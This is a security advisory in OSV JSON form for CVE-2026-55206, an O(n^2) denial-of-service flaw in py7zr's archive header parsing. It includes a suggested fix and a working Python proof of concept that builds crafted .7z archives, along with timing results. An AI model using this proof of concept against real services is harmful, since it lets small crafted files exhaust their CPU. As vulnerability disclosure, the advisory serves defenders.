CVE-2026-55206: py7zr Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h4gh-22qq-72r7",
  "modified" : "2026-06-19T21:16:33Z",
  "published" : "2026-06-19T21:16:33Z",
  "aliases" : [ "CVE-2026-55206" ],
  "summary" : "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()",
  "details" : "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n      start_header = (struct.pack('<Q', 0)\n                      + struct.pack('<Q', len(header_data))\n                      + struct.pack('<I', next_crc))\n      out.write(struct.pack('<I', binascii.crc32(start_header) &\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "py7zr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/miurahr/py7zr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-407" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:16:33Z",
    "nvd_published_at" : null
  }
}